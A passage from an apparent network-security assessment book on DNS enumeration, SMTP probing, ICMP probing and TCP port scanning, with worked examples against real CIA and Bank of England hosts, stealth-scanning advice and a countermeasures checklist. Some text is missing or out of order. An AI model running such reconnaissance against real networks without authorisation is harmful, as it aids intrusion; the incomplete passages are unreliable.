relay7-ext.ucia.gov.     3600    IN      CNAME   relay7.ucia.gov.
relay7a.ucia.gov.        3600    IN      A       198.81.129.197
relay7b.ucia.gov.        3600    IN      A       198.81.129.198
res.ucia.gov.            3600    IN      A       198.81.129.116
wais.ucia.gov.           3600    IN      CNAME   relay2.ucia.gov.
Information retrieved through DNS zone transfer

Interesting security-related information that can be derived from the CIA’s DNS zone file includes:

- Internal and external IP addresses for a number of systems are provided
- An HINFO resource record exists for ex-rtr-129, telling us it is a Cisco 4000 series router
- The following IP address blocks are identified as being used:
  - 192.103.66.0 (Internet-based)
  - 198.81.128.0 (Internet-based)
  - 198.81.129.0 (Internet-based)
  - 192.168.64.0 (nonpublic reserved IANA address space)

PTR record enumeration through DNS zone transfer

Along with using DNS zone transfer to reveal all the records associated with a given domain (such as ucia.gov), it is possible to query name servers for DNS zone files that relate to network blocks. Example 3-9 shows how relay2.ucia.gov is queried for the DNS zone file for the 198.81.129.0 network block, revealing all the PTR (reverse DNS pointer) resource records for the block.

Example 3-9. Using dig to perform a DNS zone transfer for a network block

$ dig @relay2.ucia.gov 129.81.198.in-addr.arpa axfr

; ; global options: printcmd
129.81.198.in-addr.arpa. 3600 IN  SOA  relay1.ucia.gov. root.ucia.gov. 509192750 7200 3600 604800 86400
129.81.198.in-addr.arpa. 3600 IN  NS   relay1.ucia.gov.
129.81.198.in-addr.arpa. 3600 IN  NS   relay7.ucia.gov.
129.81.198.in-addr.arpa. 3600 IN  NS   auth100.ns.uu.net.
015.129.81.198.in-addr.arpa. 3600 IN  PTR  wits01.nctc.gov.
100.129.81.198.in-addr.arpa. 3600 IN  PTR  cia.cia.gov.
101.129.81.198.in-addr.arpa. 3600 IN  PTR  www2.cia.gov.
103.129.81.198.in-addr.arpa. 3600 IN  PTR  www.intelligence.gov.
104.129.81.198.in-addr.arpa. 3600 IN  PTR  www.nctc.gov.
106.129.81.198.in-addr.arpa. 3600 IN  PTR  wits2.nctc.gov.
146.129.81.198.in-addr.arpa. 3600 IN  PTR  mail2out.ucia.gov.
148.129.81.198.in-addr.arpa. 3600 IN  PTR  mail2.ucia.gov.
186.129.81.198.in-addr.arpa. 3600 IN  PTR  relay7.ucia.gov.
193.129.81.198.in-addr.arpa. 3600 IN  PTR  relay1.ucia.gov.
194.129.81.198.in-addr.arpa. 3600 IN  PTR  relay2.ucia.gov.
195.129.81.198.in-addr.arpa. 3600 IN  PTR  relay2a.cia.gov.
196.129.81.198.in-addr.arpa. 3600 IN  PTR  relay2b.cia.gov.
20.129.81.198.in-addr.arpa. 3600 IN  PTR  ddss.cia.gov.
21.129.81.198.in-addr.arpa. 3600 IN  PTR  ddssdata.cia.gov.
22.129.81.198.in-addr.arpa. 3600 IN  PTR  ddsstest.cia.gov.
Nonpublic IP address blocks can also be queried using this technique (such as 192.168.0.0/16 and 10.0.0.0/8) to reveal internal hostnames known by the name server. Analysis of the DNS zones in Examples 3-8 and 3-9 show some differences, so it is important to issue the same queries against all accessible name servers to achieve the best resolution and understanding of network topology.

**Forward DNS Grinding**

If DNS zone transfer is not possible for a domain, a forward brute-force grinding attack must be launched to enumerate valid DNS address records and aliases relating to the domain and its hosts. A good example of this is the Bank of England, which does not permit DNS zone transfers and uses MessageLabs (a third-party email content filtering provider) to process its inbound email delivered over SMTP. Example 3-10 shows how the MX records for bankofengland.co.uk are enumerated using a standard forward DNS lookup.

```
Example 3-10. Using a forward DNS lookup to enumerate MX records

$ nslookup
> set querytype=mx
> bankofengland.co.uk
Server:         213.228.193.145
Address:        213.228.193.145#53
Non-authoritative answer:
bankofengland.co.uk     mail exchanger = 10 cluster2.eu.messagelabs.com.
bankofengland.co.uk     mail exchanger = 20 cluster2a.eu.messagelabs.com.
```

A very effective forward DNS grinding tool is TXDNS (http://www.txdns.net), a Windows tool that supports dictionary-based hostname grinding. Example 3-11 shows TXDNS being used to perform a hostname grinding attack against the bankofengland.co.uk domain, using a small dictionary of common mail server names.
Chapter 3: Internet Host and Network Enumeration

Example 3-11. Forward DNS grinding to identify mail servers

C:\tools> txdns -f mail-dict.txt bankofengland.co.uk
TXDNS (http://www.txdns.net) 2.0.0 running STAND-ALONE Mode
-------------------------------------------------------------------------------
> mail.bankofengland.co.uk       - 217.33.207.254
> mail2.bankofengland.co.uk      - 194.201.32.153
> mailhost.bankofengland.co.uk   - 194.201.32.130
-------------------------------------------------------------------------------
Resolved names: 3
Failed queries: 95
Total queries: 98
-------------------------------------------------------------------------------

This attack reveals three hosts that appear to be SMTP mail servers: mailhost.bankofengland.co.uk, mail.bankofengland.co.uk, and mail2.bankofengland.co.uk. We can attempt to connect to these servers directly and circumvent the MessageLabs antivirus scanning and other content filtering.

A generic Perl alternative to TXDNS that can be run under Linux and many other operating platforms is blindcrawl.pl, available from http://sec.angrypacket.com/code/blindcrawl.pl.

Reverse DNS Sweeping

After building a list of IP network blocks used or reserved by the target organization, reverse DNS sweeping can gather details of hosts that may be protected or filtered but still have DNS hostnames assigned to them.

GHBA (http://www.attrition.org/tools/other/ghba.c) is a useful tool that performs reverse DNS sweeping of target IP network space. Example 3-12 shows GHBA being run against a CIA network block to identify hosts.

Example 3-12. Using GHBA to perform a reverse DNS sweep

$ ghba 198.81.129.0
Scanning Class C network 198.81.129...
198.81.129.20 => ddss.cia.gov
198.81.129.21 => ddssdata.cia.gov
198.81.129.22 => ddstest.cia.gov
198.81.129.23 => ddstestdata.cia.gov
198.81.129.68 => mail1.ucia.gov
198.81.129.69 => relay2z.ucia.gov
198.81.129.71 => mail1out.ucia.gov
198.81.129.100 => cia.cia.gov
198.81.129.101 => www2.cia.gov
198.81.129.103 => www.intelligence.gov
198.81.129.104 => www.nctc.gov
198.81.129.106 => wits2.nctc.gov
198.81.129.146 => mail2out.ucia.gov
198.81.129.148 => mail2.ucia.gov
198.81.129.186 => relay7.ucia.gov
As well as identifying known web and mail relay servers, GHBA identifies many other hosts and domains. Reverse DNS sweeping is a useful technique that can identify new domains and subdomains that can be fed back into DNS zone transfer and other processes to enumerate further hosts and networks.

Nmap can also be used to perform reverse DNS sweeping, using `nmap -sL 198.81.129.0/24`; however, the output format is not as easy to read.

**Web Server Crawling**

By querying web sites such as Google and Netcraft, hackers can get an idea of accessible web servers for the target organization. Attackers then crawl and mirror these web servers using automated tools to identify other web servers and domains that are associated with the company. Useful web crawling and spidering tools include:

- HTTrack ([http://www.httrack.com](http://www.httrack.com))

The Wikipedia entry for web crawlers at [http://en.wikipedia.org/wiki/Web_crawler](http://en.wikipedia.org/wiki/Web_crawler) is very useful, containing a lot of up-to-date information and a large list of open source crawlers, including those listed above.

**Automating Enumeration**

A number of next-generation Microsoft .NET and C# graphical tools can be used to perform initial Internet-based network and host enumeration from a single interface, using many of the techniques and approaches outlined in this chapter. Two popular tools are:


SpiderFoot accepts domain names, which are fed into enumeration processes involving Google and Netcraft querying and web spidering to reveal useful web-derived data. Enumeration at a lower level is not easily performed with such tools, and so manual processes should still be applied to perform specific DNS and WHOIS querying.

Example 3-12. Using GHBA to perform a reverse DNS sweep (continued)

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Domain Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>198.81.129.193</td>
<td>relay1.ucia.gov</td>
</tr>
<tr>
<td>198.81.129.194</td>
<td>relay2.cia.gov</td>
</tr>
<tr>
<td>198.81.129.195</td>
<td>relay2a.cia.gov</td>
</tr>
<tr>
<td>198.81.129.196</td>
<td>relay2b.cia.gov</td>
</tr>
<tr>
<td>198.81.129.222</td>
<td>ex-rtr-129.ucia.gov</td>
</tr>
<tr>
<td>198.81.129.230</td>
<td>res.odci.gov</td>
</tr>
<tr>
<td>198.81.129.231</td>
<td>comm.cia.gov</td>
</tr>
</tbody>
</table>
The SpiderFoot and BiDiBLAH user interfaces are similar. Figure 3-8 shows SpiderFoot being used to enumerate hosts, domains, and users associated with Sony Corporation.

![Figure 3-8. Using SpiderFoot to perform host, domain, and user enumeration](image)

SpiderFoot is available for free download and use, but it requires a valid Google API key to perform querying. BiDiBLAH also requires a Google API key to use, and is a commercial tool that requires a license to use beyond an evaluation period. BiDiBLAH has many advanced features, including Nessus client functionality so that full vulnerability assessments can be run using the BiDiBLAH output.

**SMTP Probing**

SMTP gateways and networks of mail relay servers must exist for organizations and companies to send and receive Internet email messages. Simply sending an email message to a nonexistent address at a target domain often reveals useful internal network information. Example 3-13 shows how an email message sent to a user account that doesn’t exist within the ucia.gov domain bounces to reveal useful internal network information.
Example 3-13. An undeliverable mail transcript from the CIA

The original message was received at Fri, 1 Mar 2002 07:42:48 -0500 from ain-relay2.net.ucia.gov [192.168.64.3]

----- The following addresses had permanent fatal errors -----
<blahblah@ucia.gov>

----- Transcript of session follows -----
... while talking to mailhub.ucia.gov:
>>> RCPT To:<blahblah@ucia.gov>
<<< 550 5.1.1 <blahblah@ucia.gov>... User unknown
550 <blahblah@ucia.gov>... User unknown

----- Original message follows -----

Return-Path: <hacker@hotmail.com>
Received: from relay2.net.ucia.gov
    by puff.ucia.gov (8.8.8+Sun/ucia internal v1.35)
    with SMTP id HAA29202; Fri, 1 Mar 2002 07:42:48 -0500 (EST)
Received: by relay2.net.ucia.gov; Fri, 1 Mar 2002 07:39:18
Received: from 212.84.12.106 by relay2.net.ucia.gov via smap (4.1)
    id xma026449; Fri, 1 Mar 02 07:38:55 -0500

In particular, the following data in this transcript is useful:

• The Internet-based relay2.ucia.gov gateway has an internal IP address of 192.168.64.3 and an internal DNS name of relay2.net.ucia.gov.

• relay2.ucia.gov is running TIS Gauntlet 4.1 (smap 4.1, a component of TIS Gauntlet, is mentioned in the via field).

• puff.ucia.gov is an internal SMTP mail relay system running Sun Sendmail 8.8.8.

• mailhub.ucia.gov is another internal mail relay running Sendmail (this can be seen from analyzing the SMTP server responses to the RCPT TO: command).

In the overall scheme of things, SMTP probing should appear later in the book because it is technically an intrusive technique that involves transmitting data to the target network and analyzing responses. I mention probing here because when users post email to Internet mailing lists, SMTP routing information is often attached in the headers of the email message. It is very easy for a potential attacker to then perform an open and passive web search for mail messages originating from the target’s network space to collect SMTP routing information.

Enumeration Technique Recap

It is an interesting and entirely legal exercise to enumerate the CIA and other organizations’ networks from the Internet by querying public records. As a recap, here is a list of public Internet-based querying techniques and their applications:
Web and newsgroup searches
Using Google to perform searches against established domain names and target networks to identify personnel, hostnames, domain names, and useful data residing on publicly accessible web servers.

WHOIS querying
Querying domain and IP registrars to retrieve network block, routing, and contact details related to the target networks and domain names. IP WHOIS querying gives useful information relating to the sizes of reserved network blocks (useful later when performing intrusive network scanning) and AS number details.

BGP querying
Cross-referencing AS numbers with BGP looking glass sites and route servers to enumerate the associated IP blocks under the AS, and then feeding these details back into other query paths (such as DNS or further WHOIS querying).

DNS querying
Querying publicly accessible DNS servers to enumerate hostnames and subdomains. Misconfigured DNS servers are also abused to download DNS zone files that categorically list subdomains, hostnames, operating platforms of devices, and internal network information in severe cases.

Web server crawling
Accessible web servers are crawled using automated spidering software to identify associated servers, domains, and useful information, such as web server software details, enumerated users, and email addresses.

SMTP probing
Sending email messages to nonexistent accounts at target domains to map internal network space by analyzing the responses from the SMTP system.

Enumeration Countermeasures
Use the following checklist of countermeasures to effectively reconfigure your Internet-facing systems so that they do not give away potentially sensitive information:

- Configure web servers to prevent indexing of directories that don’t contain index.html or similar index files (default.asp under IIS, for example). Also ensure that sensitive documents and files aren’t kept on publicly accessible hosts, such as HTTP or FTP servers.
- Always use a generic, centralized network administration contact detail (such as an IT help desk) in WHOIS databases, to prevent potential social engineering and war dialing attacks against IT departments from being effective.
• Configure all name servers to disallow DNS zone transfers to untrusted hosts, and then test your network from the Internet to ensure that no rogue name servers are present.

• Prune DNS zone files so that unnecessary information is not disclosed and DNS forward and reverse grinding is not so effective. Ideally, PTR records should only be used if absolutely needed (for SMTP mail servers and other systems that need to resolve both ways).

• Ensure that nonpublic hostnames aren’t referenced to IP addresses within the DNS zone files of publicly accessible DNS servers using A or PTR records; this prevents reverse DNS sweeping and zone transfer from being effective. This practice of using separate DNS zones internally and externally is known as split horizon DNS.

• Ensure that HINFO and other novelty records don’t appear in DNS zone files.

• Configure SMTP servers either to ignore email messages to unknown recipients or to send responses that don’t include the following types of information:
  — Details of mail relay systems being used (such as Sendmail or Microsoft Exchange).
  — Internal IP address or host information.
This chapter focuses on the technical execution of IP network scanning. After undertaking initial stealthy reconnaissance to identify IP address spaces of interest, network scanning is an intrusive and aggressive process used to identify accessible hosts and their network services. The rationale behind IP network scanning is to gain insight into the following elements of a given network:

- ICMP message types that generate responses from target hosts
- Accessible TCP and UDP network services running on the target hosts
- Operating platforms of target hosts and their configurations
- Areas of vulnerability within target host IP stack implementations (including sequence number predictability for TCP spoofing and session hijacking)
- Configuration of filtering and security systems (including firewalls, border routers, switches, and IDS/IPS mechanisms)

Performing both network scanning and reconnaissance tasks paints a clear picture of the network topology and its security features. Before penetrating the target network, specific network service probing is undertaken to enumerate vulnerabilities and weaknesses, covered in later chapters of this book.

**ICMP Probing**

*Internet Control Message Protocol* (ICMP) probes can be used to identify potentially weak and poorly protected networks and hosts. ICMP is a short messaging protocol, used by systems administrators for continuity testing of networks in particular (using tools such as *ping* and *traceroute*). From a network scanning perspective, the following types of ICMP messages are useful:

**Type 8 (echo request)**

Echo request messages are also known as ping packets. You can use a scanning tool such as Nmap to perform ping sweeping and easily identify hosts that are accessible.
Type 13 (timestamp request)
A timestamp request message is used to obtain the system time information from the target host. The response is in a decimal format and is the number of milliseconds elapsed since midnight GMT.

Type 15 (information request)
The ICMP information request message was intended to support self-configuring systems such as diskless workstations at boot time to allow them to discover their network addresses. Protocols such as RARP, BOOTP, or DHCP achieve this more robustly, so type 15 messages are rarely used.

Type 17 (subnet address mask request)
An address mask request message reveals the subnet mask used by the target host. This information is useful when mapping networks and identifying the size of subnets and network spaces used by organizations.

Firewalls of security-conscious organizations often blanked filter inbound ICMP messages, and so ICMP probing isn’t effective; however, ICMP isn’t filtered in most cases, as these messages are useful during network troubleshooting.

ICMP Probing Tools
A number of tools can be used to perform ICMP probing, including SING, Nmap, and ICMPScan. These utilities and their benefits are discussed here.

SING
Send ICMP Nasty Garbage (SING) is a command-line utility that sends customizable ICMP probes. The main purpose of the tool is to replace the ping command with certain enhancements, including the ability to transmit and receive spoofed packets, send MAC-spoofed packets, and support the transmission of many other message types, including ICMP address mask, timestamp, and information requests, as well as router solicitation and router advertisement messages.

SING is available from http://sourceforge.net/projects/sing. Examples using SING to launch ICMP echo, timestamp, and address mask requests follow. In these examples, I direct probes at broadcast addresses and individual hosts.

Using SING to send broadcast ICMP echo request messages:

```bash
$ sing -echo 192.168.0.255
SINGing to 192.168.0.255 (192.168.0.255): 16 data bytes
 16 bytes from 192.168.0.1: seq=0 ttl=64 TOS=0 time=0.230 ms
 16 bytes from 192.168.0.155: seq=0 ttl=64 TOS=0 time=2.267 ms
 16 bytes from 192.168.0.126: seq=0 ttl=64 TOS=0 time=2.491 ms
 16 bytes from 192.168.0.50: seq=0 ttl=64 TOS=0 time=2.202 ms
 16 bytes from 192.168.0.89: seq=0 ttl=64 TOS=0 time=1.572 ms
```
Using SING to send ICMP timestamp request messages:

```
$ sing -tstamp 192.168.0.50
SINGing to 192.168.0.50 (192.168.0.50): 20 data bytes
20 bytes from 192.168.0.50: seq=0 ttl=128 TOS=0 diff=327372878
20 bytes from 192.168.0.50: seq=1 ttl=128 TOS=0 diff=1938181226*
20 bytes from 192.168.0.50: seq=2 ttl=128 TOS=0 diff=1552566402*
20 bytes from 192.168.0.50: seq=3 ttl=128 TOS=0 diff=1183728794*
```

Using SING to send ICMP address mask request messages:

```
$ sing -mask 192.168.0.25
SINGing to 192.168.0.25 (192.168.0.25): 12 data bytes
12 bytes from 192.168.0.25: seq=0 ttl=236 mask=255.255.255.0
12 bytes from 192.168.0.25: seq=1 ttl=236 mask=255.255.255.0
12 bytes from 192.168.0.25: seq=2 ttl=236 mask=255.255.255.0
12 bytes from 192.168.0.25: seq=3 ttl=236 mask=255.255.255.0
```

There are a handful of other ICMP message types that have other security implications, such as ICMP type 5 redirect messages sent by routers, which allow for traffic redirection. These messages aren’t related to network scanning, and so they are not detailed here. For details of traffic redirection using ICMP, including exploit code, please see Yuri Volobuev’s BugTraq post at [http://seclists.org/bugtraq/1997/Sep/0057.html](http://seclists.org/bugtraq/1997/Sep/0057.html).

**Nmap**

Nmap ([http://insecure.org/nmap/](http://insecure.org/nmap/)) can perform ICMP ping sweep scans of target IP blocks easily. Many hardened networks will blanket-filter inbound ICMP messages at border routers or firewalls, so sweeping in this fashion isn’t effective in some cases. Nmap can be run from a Unix-based or Windows command prompt to perform an ICMP ping sweep against 192.168.0.0/24, as shown in Example 4-1.

**Example 4-1. Performing a ping sweep with Nmap**

```
$ nmap -sP -PI 192.168.0.0/24
Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2007-04-01 20:39 UTC
Host 192.168.0.0 seems to be a subnet broadcast address (2 extra pings).
Host 192.168.0.1 appears to be up.
Host 192.168.0.25 appears to be up.
Host 192.168.0.32 appears to be up.
Host 192.168.0.50 appears to be up.
Host 192.168.0.65 appears to be up.
Host 192.168.0.102 appears to be up.
Host 192.168.0.110 appears to be up.
Host 192.168.0.155 appears to be up.
Host 192.168.0.255 seems to be a subnet broadcast address (2 extra pings).
Nmap finished: 256 IP addresses (8 hosts up) scanned in 17.329 seconds
```
Using the `–sP` ping sweep flag within Nmap doesn’t just perform an ICMP echo request to each IP address; it also sends TCP ACK and SYN probe packets to port 80 of each host. In Example 4-1, Nmap is run with the `–sP` flag to specify that we’re sending only ICMP echo requests. Overall, using the standard `–sP` flag is often more effective because it identifies web servers that may not respond to ICMP probes; however, in some environments it is beneficial to use more specific probe types.

**ICMPScan**

ICMPScan is a bulk scanner that sends type 8, 13, 15, and 17 ICMP messages, derived from Nmap and available from [http://www.bindshell.net/tools/icmpscan](http://www.bindshell.net/tools/icmpscan). The tool is very useful in that it can process inbound responses by placing the network interface into promiscuous mode, thereby identifying internal IP addresses and machines that respond from probes sent to subnet network and broadcast addresses. Example 4-2 shows ICMPScan being run against an internal network block. Because ICMP is a connectionless protocol, it is best practice to resend each probe (using `–r 1`) and set the timeout to 500 milliseconds (using `–t 500`). We also set the tool to listen in promiscuous mode for unsolicited responses (using the `–c` flag).

**Example 4-2. Running ICMPScan**

```bash
$ icmpscan -c -t 500 -r 1 192.168.1.0/24
192.168.1.0: Echo (From 192.168.1.17!)
192.168.1.0: Address Mask [255.255.255.0] (From 192.168.1.17!)
192.168.1.7: Echo
192.168.1.7: Timestamp [0x03ab2db0, 0x02d4c507, 0x02d4c507]
192.168.1.7: Address Mask [255.255.255.0]
192.168.1.8: Echo
192.168.1.8: Address Mask [255.255.255.0]
```
Identifying Subnet Network and Broadcast Addresses

Nmap identifies subnet network and broadcast addresses by counting the number of ICMP echo replies for each IP address during an ICMP ping sweep. Such addresses respond with multiple replies, providing insight into the target network and its segmentation. In Example 4-3 we use Nmap to enumerate subnet network and broadcast addresses in use for a given network (154.14.224.0/26).

Example 4-3. Enumerating subnet network and broadcast addresses with Nmap

$ nmap -sP 154.14.224.0/26

Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2007-04-01 20:39 UTC
Host 154.14.224.16 seems to be a subnet broadcast address (returned 1 extra pings).
Host pipex-gw.abc.co.uk (154.14.224.17) appears to be up.
Host mail.abc.co.uk (154.14.224.18) appears to be up.
Host 154.14.224.25 appears to be up.
Host intranet.abc.co.uk (154.14.224.26) appears to be up.
Host 154.14.224.27 appears to be up.
Host 154.14.224.30 appears to be up.
Host 154.14.224.31 seems to be a subnet broadcast address (returned 1 extra pings).
Host 154.14.224.32 seems to be a subnet broadcast address (returned 1 extra pings).
Host pipex-gw.smallco.net (154.14.224.33) appears to be up.
Host mail.smallco.net (154.14.224.34) appears to be up.
Host 154.14.224.35 seems to be a subnet broadcast address (returned 1 extra pings).
Host 154.14.224.40 seems to be a subnet broadcast address (returned 1 extra pings).
Host pipex-gw.example.org (154.14.224.41) appears to be up.
Host gatekeeper.example.org (154.14.224.42) appears to be up.
Host 154.14.224.43 appears to be up.
Host 154.14.224.47 seems to be a subnet broadcast address (returned 1 extra pings).

This scan has identified six subnets within the 154.14.224.0/26 network, as follows:

- An unused or filtered block from 154.14.224.0 to 154.14.224.15 (14 usable addresses)
- The abc.co.uk block from 154.14.224.16 to 154.14.224.31 (14 usable addresses)
- The smallco.net block from 154.14.224.32 to 154.14.224.35 (2 usable addresses)
- An unused or filtered block from 154.14.224.48 to 154.14.224.63 (14 usable addresses)

Useful details about subnet network and broadcast addresses and CIDR slash notation can be found at http://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing. An online IP calculator is also available at http://jodies.de/ipcalc.
Gleaning Internal IP Addresses

In some cases, it is possible to gather internal IP address information by analyzing ICMP responses from an ICMP ping sweep. Upon sending ICMP echo requests to publicly accessible IP addresses, firewalls often use **Network Address Translation** (NAT) or similar IP masquerading to forward the packets on to internal addresses, which then respond to the probes. Other scenarios include poor routing configuration on routers that are probed using ICMP, where they respond to the probes from a different interface.

Stateful inspection mechanisms and sniffers can be used to monitor for ICMP responses from internal IP addresses in relation to your original probes. Tools such as Nmap and SING don’t identify these responses from private addresses, as low-level stateful analysis of the traffic flowing into and out of a network is required. A quick and simple example of this behavior can be seen in the ISS BlackICE personal firewall event log in Figure 4-1 as a simple ICMP ping sweep is performed.

![Figure 4-1. ISS BlackICE used to statefully glean internal IP addresses](image)

This figure shows that BlackICE has identified four unsolicited ICMP echo replies from private addresses (within the 172.16.0.0/12 space in this case, but they are often within 192.168.0.0/16 or 10.0.0.0/8).
ICMPScan supports this type of internal IP address discovery when in promiscuous mode. It is beneficial to run a network sniffer such as Ethereal or tcpdump during testing to pick up on unsolicited ICMP responses, including “ICMP TTL exceeded” (type 11 code 0) messages, indicating a routing loop, and “ICMP administratively prohibited” (type 3 code 13) messages, indicating an ACL in use on a router or firewall.

**OS Fingerprinting Using ICMP**

Ofir Arkin’s Xprobe2 utility performs OS fingerprinting by primarily analyzing responses to ICMP probes. See the Sys-Security Group web site ([http://www.sys-security.com](http://www.sys-security.com)) for further details, including white papers and presentations that describe the Xprobe2 fingerprinting technology and approach. Example 4-4 shows Xprobe2 being used to fingerprint a remote host.

*Example 4-4. Operating system fingerprinting using Xprobe 2*

```bash
$ xprobe2 -v 192.168.0.174
```

Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu

[+] Target is 192.168.0.174
[+] Loading modules.
[+] Following modules are loaded:
  [x] [1] ping:icmp_ping  -  ICMP echo discovery module
  [x] [2] ping:tcp_ping  -  TCP-based ping discovery module
  [x] [3] ping:udp_ping  -  UDP-based ping discovery module
  [x] [4] infogather:ttl_calc  -  TCP and UDP based TTL distance calculation
  [x] [5] infogather:portscan  -  TCP and UDP PortScanner
  [x] [6] fingerprint:icmp_echo  -  ICMP Echo request fingerprinting module
  [x] [7] fingerprint:icmp_tstamp  -  ICMP Timestamp request fingerprinting module
  [x] [8] fingerprint:icmp_amask  -  ICMP Address mask request fingerprinting module
  [x] [9] fingerprint:icmp_port_unreach  -  ICMP port unreachable fingerprinting module
  [x] [10] fingerprint:tcp_hshake  -  TCP Handshake fingerprinting module
  [x] [11] fingerprint:tcp_rst  -  TCP RST fingerprinting module
  [x] [12] fingerprint:smb  -  SMB fingerprinting module
  [x] [13] fingerprint:snmp  -  SNMPv2c fingerprinting module
[+] 13 modules registered
[+] Initializing scan engine
[+] Running scan engine
[+] Host: 192.168.0.174 is up (Guess probability: 100%)
[+] Target: 192.168.0.174 is alive. Round-Trip Time: 0.00015 sec
[+] Selected safe Round-Trip Time value is: 0.00030 sec
[+] Primary guess:
  [+] Host 192.168.0.174 Running OS: "Sun Solaris 5 (SunOS 2.5)" (Guess probability: 100%)
[+] Other guesses:
  [+] Host 192.168.0.174 Running OS: "Sun Solaris 6 (SunOS 2.6)" (Guess probability: 100%)
  [+] Host 192.168.0.174 Running OS: "Sun Solaris 7 (SunOS 2.7)" (Guess probability: 100%)
  [+] Host 192.168.0.174 Running OS: "Sun Solaris 8 (SunOS 2.8)" (Guess probability: 100%)
  [+] Host 192.168.0.174 Running OS: "Sun Solaris 9 (SunOS 2.9)" (Guess probability: 100%)
  [+] Host 192.168.0.174 Running OS: "Mac OS 9.1.3" (Guess probability: 95%)
TCP Port Scanning

Accessible TCP ports can be identified by port scanning target IP addresses. The following nine different types of TCP port scanning are used in the wild by both attackers and security consultants:

**Standard scanning methods**
- Vanilla `connect()` scanning
- Half-open SYN flag scanning

**Stealth TCP scanning methods**
- Inverse TCP flag scanning
- ACK flag probe scanning
- TCP fragmentation scanning

**Third-party and spoofed TCP scanning methods**
- FTP bounce scanning
- Proxy bounce scanning
- Sniffer-based spoofed scanning
- IP ID header scanning

What follows is a technical breakdown for each TCP port scanning type, along with details of Windows- and Unix-based tools that can perform scanning.

**Standard Scanning Methods**

Standard scanning methods, such as vanilla and half-open SYN scanning, are extremely simple direct techniques used to accurately identify accessible TCP ports and services. These scanning methods are reliable but are easily logged and identified.

**Vanilla `connect()` scanning**

TCP `connect()` port scanning is the simplest type of probe to launch. There is no stealth whatsoever involved in this form of scanning, as a full TCP/IP connection is established with each port of the target host.

TCP/IP robustness means that `connect()` port scanning is an accurate way to determine which TCP services are accessible on a given host. However, due to the way that a full three-way handshake is performed, an aggressive `connect()` scan could
antagonize or break poorly written network services. Figures 4-2 and 4-3 show the various TCP packets involved and their flags.

In Figure 4-2, the attacker first sends a SYN probe packet to the port he wishes to test. Upon receiving a packet from the port with the SYN and ACK flags set, he knows that the port is open. The attacker completes the three-way handshake by sending an ACK packet back.

If, however, the target port is closed, the attacker receives an RST/ACK packet directly back, as shown in Figure 4-3.

**Tools that perform connect() TCP scanning.** Nmap can perform a TCP connect() port scan using the –sT flag. A benefit of this scanning type is that superuser root access is not required, as raw network sockets are not used. Other very simple scanners exist, including pscan.c, which is available as source code from many sites including Packet Storm (http://www.packetstormsecurity.org).

When performing a full assessment exercise, every TCP port from 0 to 65535 should be checked. For speed reasons, port scanners such as Nmap have internal lists of only some 1,500 common ports to check; thus, they often miss all kinds of interesting services that can be found on high ports, for example, Check Point SVN web services on TCP port 18264.

**Half-open SYN flag scanning**

Usually, a three-way handshake is initiated to synchronize a connection between two hosts; the client sends a SYN packet to the server, which responds with SYN and ACK if the port is open, and the client then sends an ACK to complete the handshake.
In the case of half-open SYN port scanning, when a port is found to be listening, an RST packet is sent as the third part of the handshake. Sending an RST packet in this way abruptly resets the TCP connection, and because you have not completed the three-way handshake, the connection attempt often isn’t logged on the target host.

Most network-based Intrusion Detection Systems (IDSs) and other security mechanisms, such as portseurity, can detect half-open SYN port scanning attempts. In cases where stealth is required, other techniques are recommended, such as FIN or TTL-based scanning, and fragmenting outbound packets to avoid detection.

Figures 4-4 and 4-5 show the packets sent between the two hosts when conducting a SYN port scan and finding either an open or closed port.

Figure 4-4 shows that when a closed port is found, a RST/ACK packet is received, and nothing happens (as before in Figure 4-3). Benefits of half-open scanning include speed and efficiency (fewer packets are sent and received), and the fact that the connection isn’t established, which can bypass some logging mechanisms.

![Figure 4-4. A half-open SYN scan result when a port is closed](image)

In Figure 4-5, a SYN probe packet is sent to the target port and a SYN/ACK packet is received indicating that the port is open. Normally at this stage, a connect() scanner sends an ACK packet to establish the connection, but this is half-open scanning, so instead, an RST packet is sent to tear down the connection.

![Figure 4-5. A half-open SYN scan result when a port is open](image)

Nowadays, all IDS and personal firewall systems can identify SYN port scans (although they often mislabel them as SYN flood attacks due to the number of probe packets). SYN scanning is fast and reliable, although it requires raw access to network sockets and therefore requires privileged access to Unix and Windows hosts.
Tools that perform half-open SYN scanning. Nmap can perform a SYN port scan using the
-sS flag. Another SYN port scanner worth mentioning is Scanrand, a component of
the Paketto Keiretsu suite. Paketto Keiretsu contains a number of useful networking
utilities that are available at http://www.doxpara.com/read.php/code/paketto.html. For
Windows, Foundstone’s SuperScan is an excellent port scanning utility with good
functionality, including banner grabbing. SuperScan is available from http://

The -T flag can be used within Nmap to change the scanning timing
policy. Networks protected by commercial firewalls (NetScreen,
WatchGuard, and Check Point in particular) will often drop SYN
probes if Nmap is sending the packets out too quickly because
Nmap’s actions resemble a SYN flood Denial of Service (DoS) attack. I
have found that by setting the timing policy to -T Sneaky, it’s often
possible to glean accurate results against hosts protected by firewalls
with SYN flood protection enabled.

Scanrand is well designed, with distinct SYN probing and background listening com-
ponents that allow for very fast scanning. Inverse SYN cookies (using SHA1) tag out-
going probe packets, so that false positive results become nonexistent, as the listening
component only registers responses with the correct SYN cookies. Example 4-5
shows Scanrand identifying open ports on a local network in less than one second.

Example 4-5. Using Scanrand to quickly scan the local network

$ scanrand 10.0.1.1-254:quick
UP:  10.0.1.38:80   [01]   0.003s
UP:  10.0.1.110:443 [01]   0.017s
UP:  10.0.1.254:443 [01]   0.021s
UP:  10.0.1.57:445  [01]   0.024s
UP:  10.0.1.59:445  [01]   0.024s
UP:  10.0.1.38:22   [01]   0.047s
UP:  10.0.1.110:22  [01]   0.058s
UP:  10.0.1.110:23  [01]   0.058s
UP:  10.0.1.254:22  [01]   0.077s
UP:  10.0.1.254:23  [01]   0.077s
UP:  10.0.1.25:135  [01]   0.088s
UP:  10.0.1.57:135  [01]   0.089s
UP:  10.0.1.59:135  [01]   0.090s
UP:  10.0.1.25:139  [01]   0.097s
UP:  10.0.1.27:139  [01]   0.098s
UP:  10.0.1.57:139  [01]   0.099s
UP:  10.0.1.59:139  [01]   0.099s
UP:  10.0.1.38:111  [01]   0.127s
UP:  10.0.1.57:1025 [01]   0.147s
UP:  10.0.1.59:1025 [01]   0.147s
